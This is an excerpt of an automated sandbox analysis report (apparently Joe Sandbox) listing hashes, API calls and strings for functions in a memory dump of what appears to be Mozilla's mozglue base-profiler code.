Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: b6d6b04ae4a260b456bee26f3c7251fe86dbd6b6e8b4452e4a724b21510fa0f9
Instruction ID: 5924fb14ec61a55e7ed2ca273a6bcca6c1f210d431c4e7d5f6b8bfc710cce66a
Opcode Fuzzy Hash: b6d6b04ae4a260b456bee26f3c7251fe86dbd6b6e8b4452e4a724b21510fa0f9
Instruction Fuzzy Hash: 74C1F275E022099BCB24CF95C5907EEBBF6FF89318F28415DD8556BB44D732A806CBA0

Function 6C93DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c4a394557b5a844b382f6571caa81986bb60d39956fdec26122e5f90675339b
Instruction ID: 9fe8dbd35f4fe48a67d19b78ad460aa05036bf3aec0ad5de4c14ae9365e36e54
Opcode Fuzzy Hash: 4c4a394557b5a844b382f6571caa81986bb60d39956fdec26122e5f90675339b
Instruction Fuzzy Hash: 5642A172A087518BD304CE3CC49175AB3E2BFC9364F199B2DE999A7790DB34DD418B82

Function 6C9A76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: ca53c2b7399ee0ca465fb76aa116854f4419754f8dbf2f1e3d4a1f80840101c0
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AD32FA71E0061A8FCB14CF99C891AADFBF6FF88304F548169C549A7749D731A986CF90

Function 6C9A6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 26cff432c6bf7d0ffcb6f2e2e27f16ed458dc96d990ff2a1125cd892639c8b0b
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 7722E771E006198FCB14CF98C881AADF7F6FF88304F6585AAC949A7745D731A986CF90

Function 6C960512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d94f58ee42fb5d02735b99932e1db69094a25bb8d1a26329b756513ab0a021dd
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: F3221671E00669CFDB14CF99C890AADF7B2FF89304F548299C44AA7B45D731A986CF80

Function 6C9AAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ed2ec63473d5ad44d666401cf5ddb392fe06628946762a50c177c59aadf13d
Instruction ID: efdacf0aab62df6c7f231ce5f765db74b08006f81168c1e8fe6ec234656f0a5c
Opcode Fuzzy Hash: 94ed2ec63473d5ad44d666401cf5ddb392fe06628946762a50c177c59aadf13d
Instruction Fuzzy Hash: 7BF16C716083459FD700CEA8C8903AFB7E6AFD5318F158A2DE4D4877C1EB74D84A8B92

Function 6C93C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 2a4494f1a7a4f43f703d8d1440dce5a5b512f2b715059b34582010fb00ec29e1
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 8EA1A375F0062A8BDB08CE69C8913AEB7F2AFC8354F158269DD19E7781D7349D068BD0

Function 6C977710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: fd7d9cdace9c3315312a26db86c878ff5667fd99de77899d720e8690e1f23bc0
Instruction ID: 9420fb9d48113bd6b4fe2f260b8a1df4adb18b37253b677d368e0ef63385287b
Opcode Fuzzy Hash: fd7d9cdace9c3315312a26db86c878ff5667fd99de77899d720e8690e1f23bc0
Instruction Fuzzy Hash: 84716D75E022198FCF19CFA9C8905EEBBB6FF89314F24816ED415AB740D735A905CBA0

Function 6C9758E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 2d24df3e8679ba0080ab95f239a03dc9282072ea1367404ddf56845ab2df5d50
Instruction ID: d5826cf4376cc13c324a24c2a2065edeb81daad39b5042cd3690b0f8e59e7a90
Opcode Fuzzy Hash: 2d24df3e8679ba0080ab95f239a03dc9282072ea1367404ddf56845ab2df5d50
Instruction Fuzzy Hash: 55818C75A022199FCB14CFA8D8809EEBBF6FF89314F644269E411BB741D731E945CBA0

Function 6C97CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C94582D), ref: 6C97CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C94582D), ref: 6C97CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9AFE98,?,?,?,?,?,6C94582D), ref: 6C97CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C97CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C97CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C97CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C97CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C97CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C97CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C97CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C97CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C97CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C97CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C97CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C97CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C97CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C97CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C97CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C97CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C97CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C97CE8A

Strings

fileioall, xrefs: 6C97CCA8
mainthreadio, xrefs: 6C97CC7C
stackwalk, xrefs: 6C97CCF8
nativeallocations, xrefs: 6C97CDA8
ipcmessages, xrefs: 6C97CDBE
processcpu, xrefs: 6C97CE6E
Unrecognized feature "%s"., xrefs: 6C97CEA0
audiocallbacktracing, xrefs: 6C97CDD4
java, xrefs: 6C97CC37
nostacksampling, xrefs: 6C97CD7C
noiostacks, xrefs: 6C97CCBE
notimerresolutionchange, xrefs: 6C97CE00
fileio, xrefs: 6C97CC92
default, xrefs: 6C97CC21
power, xrefs: 6C97CE84
screenshots, xrefs: 6C97CCD4
cpuallthreads, xrefs: 6C97CE16
leaf, xrefs: 6C97CC66
seqstyle, xrefs: 6C97CCE6
unregisteredthreads, xrefs: 6C97CE58
markersallthreads, xrefs: 6C97CE42
jsallocations, xrefs: 6C97CD0E
samplingallthreads, xrefs: 6C97CE2C
preferencereads, xrefs: 6C97CD92

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 14eca2d092feb88e7f8fd099ff23302c7ea82da6b8b9d4f9df8f0b4af3b2c49d
Instruction ID: a4d03bab346c1a1f50eca770fe61259e5c526608c654671fc60b60eeaa79f28f
Opcode Fuzzy Hash: 14eca2d092feb88e7f8fd099ff23302c7ea82da6b8b9d4f9df8f0b4af3b2c49d
Instruction Fuzzy Hash: 3451B9C1B0762662FB2031556E10BAB244DEFB325AF10443AED09A5F80FF45E61B86B7

Function 6C9447C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C944801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C944817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C94482D
__Init_thread_footer.LIBCMT ref: 6C94484A

Part of subcall function 6C96AB3F: EnterCriticalSection.KERNEL32(6C9BE370,?,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284), ref: 6C96AB49
Part of subcall function 6C96AB3F: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96AB7C

GetCurrentThreadId.KERNEL32 ref: 6C94485F
GetCurrentThreadId.KERNEL32 ref: 6C94487E
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94488B
free.MOZGLUE(?), ref: 6C94493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C944956
free.MOZGLUE(00000000), ref: 6C944960
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C94499A

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

free.MOZGLUE(?), ref: 6C9449C6
free.MOZGLUE(?), ref: 6C9449E9

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C944828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9447FC
[I %d/%d] profiler_shutdown, xrefs: 6C944A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C944A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C944812

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: ed2044174abf12f9d906fb5c1fffe88f68be097f4c668a89d2f98243855ff137
Instruction ID: db579a6a6702de581b186732dcc5661b73d364c1750cdc70719c3934005fecdf
Opcode Fuzzy Hash: ed2044174abf12f9d906fb5c1fffe88f68be097f4c668a89d2f98243855ff137
Instruction Fuzzy Hash: E0812779A08100AFDB10DF68C88875B7775BF5231CF244629E916A7F86D730E854CF9A

Function 6C944470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C944730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9444B2,6C9BE21C,6C9BF7F8), ref: 6C94473E
Part of subcall function 6C944730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C94474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9444BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9444D2
InitOnceExecuteOnce.KERNEL32(6C9BF80C,6C93F240,?,?), ref: 6C94451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C94455C
LoadLibraryW.KERNEL32(?), ref: 6C944592
InitializeCriticalSection.KERNEL32(6C9BF770), ref: 6C9445A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9445AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9445BB
InitOnceExecuteOnce.KERNEL32(6C9BF818,6C93F240,?,?), ref: 6C944612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C944636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C944644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C94466D
VerSetConditionMask.NTDLL ref: 6C94469F
VerSetConditionMask.NTDLL ref: 6C9446AB
VerSetConditionMask.NTDLL ref: 6C9446B2
VerSetConditionMask.NTDLL ref: 6C9446B9
VerSetConditionMask.NTDLL ref: 6C9446C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9446CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9446F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9446FD

Strings

NativeNtBlockSet_Write, xrefs: 6C9446F7
user32.dll, xrefs: 6C944557, 6C94463F
WRusr.dll, xrefs: 6C9444B5
kernel32.dll, xrefs: 6C9444CD
l, xrefs: 6C944578

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 56a6ba62e3b53f72f06d30ff928c660c18008126b60e8d3f1d84965dd51c74c9
Instruction ID: 2bafa08cf8addf446e0a40b79bf35bfaab6f4de492a6d220e8b500c2ac318e21
Opcode Fuzzy Hash: 56a6ba62e3b53f72f06d30ff928c660c18008126b60e8d3f1d84965dd51c74c9
Instruction Fuzzy Hash: B16102B8608344BFEB109F60C889B967BB8EB4670CF24C098E9049B691D7B0C944CF95

Function 6C97E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C977090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C97B9F1,?), ref: 6C977107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C97DCF5), ref: 6C97E92D
GetCurrentThreadId.KERNEL32 ref: 6C97EA4F
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EA80
GetCurrentThreadId.KERNEL32 ref: 6C97EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C97DCF5), ref: 6C97EA92
GetCurrentThreadId.KERNEL32 ref: 6C97EB11
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C97EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EB5B

Part of subcall function 6C975710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C97EB71), ref: 6C9757AB

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C97EBAC

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97EBC1
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000), ref: 6C97EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C97EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,00000000), ref: 6C97EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97EC46
CloseHandle.KERNEL32(?), ref: 6C97EC55
free.MOZGLUE(00000000), ref: 6C97EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C97EA9B
[I %d/%d] profiler_start, xrefs: 6C97EBB4

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 141eae7fe8671100a16a2f5a81d4decc7011a4b0efa1046cd812e9e3cef41389
Instruction ID: 4564b641ab553d9608937f08705a9aefb7649d57d5c0197cfeb19f7e77b0dcf9
Opcode Fuzzy Hash: 141eae7fe8671100a16a2f5a81d4decc7011a4b0efa1046cd812e9e3cef41389
Instruction Fuzzy Hash: 6CA1383D705204AFDB109F28C488BABB7B6FF96318F244029E91997F91DB70D805C7A5

Function 6C97F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C97F8F9

Part of subcall function 6C946390: GetCurrentThreadId.KERNEL32 ref: 6C9463D0
Part of subcall function 6C946390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9463DF
Part of subcall function 6C946390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C94640E

ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F93A
GetCurrentThreadId.KERNEL32 ref: 6C97F98A
GetCurrentThreadId.KERNEL32 ref: 6C97F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F716

